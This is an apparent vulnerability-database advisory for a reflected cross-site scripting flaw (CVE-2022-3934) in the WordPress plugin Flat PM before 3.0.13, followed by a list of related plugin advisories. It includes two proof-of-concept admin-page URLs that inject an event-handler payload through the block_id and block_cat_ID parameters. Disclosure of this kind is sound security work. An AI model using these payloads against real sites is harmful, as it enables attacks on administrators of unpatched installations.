Flat PM < 3.0.13 – Reflected Cross-Site Scripting | CVE 2022-3934 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

v < 3.0.13 (the block_id needs to start with an existing block ID
https://example.com/wp-admin/admin.php?page=blocks_form&block_id=567"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

v < 2.662
https://example.com/wp-admin/admin.php?page=blocks_form&block_cat_ID=1"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

Fixed in 3.0.13

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website

https://cyllective.com/

Submitter twitter

Verified

Yes

WPVDB ID

ab68381f-c4b8-4945-a6a5-1d4d6473b73a

Timeline

Publicly Published

2022-11-17 (about 3 years ago)

Added

2022-11-17 (about 3 years ago)

Last Updated

2023-02-27 (about 2 years ago)

Other

Published

Title

Published

2025-04-10

Title

WP Project Manager < 2.6.23 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload

Published

2025-04-01

Title

wp Time Machine <= 3.4.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2024-03-18

Title

PowerPack Lite for Beaver Builder < 1.3.0.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via element link

Published

2024-03-19

Title

UX Flat < 4.5 - Contributor+ Stored XSS

Published

2024-11-08

Title

MDC YouTube Downloader <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting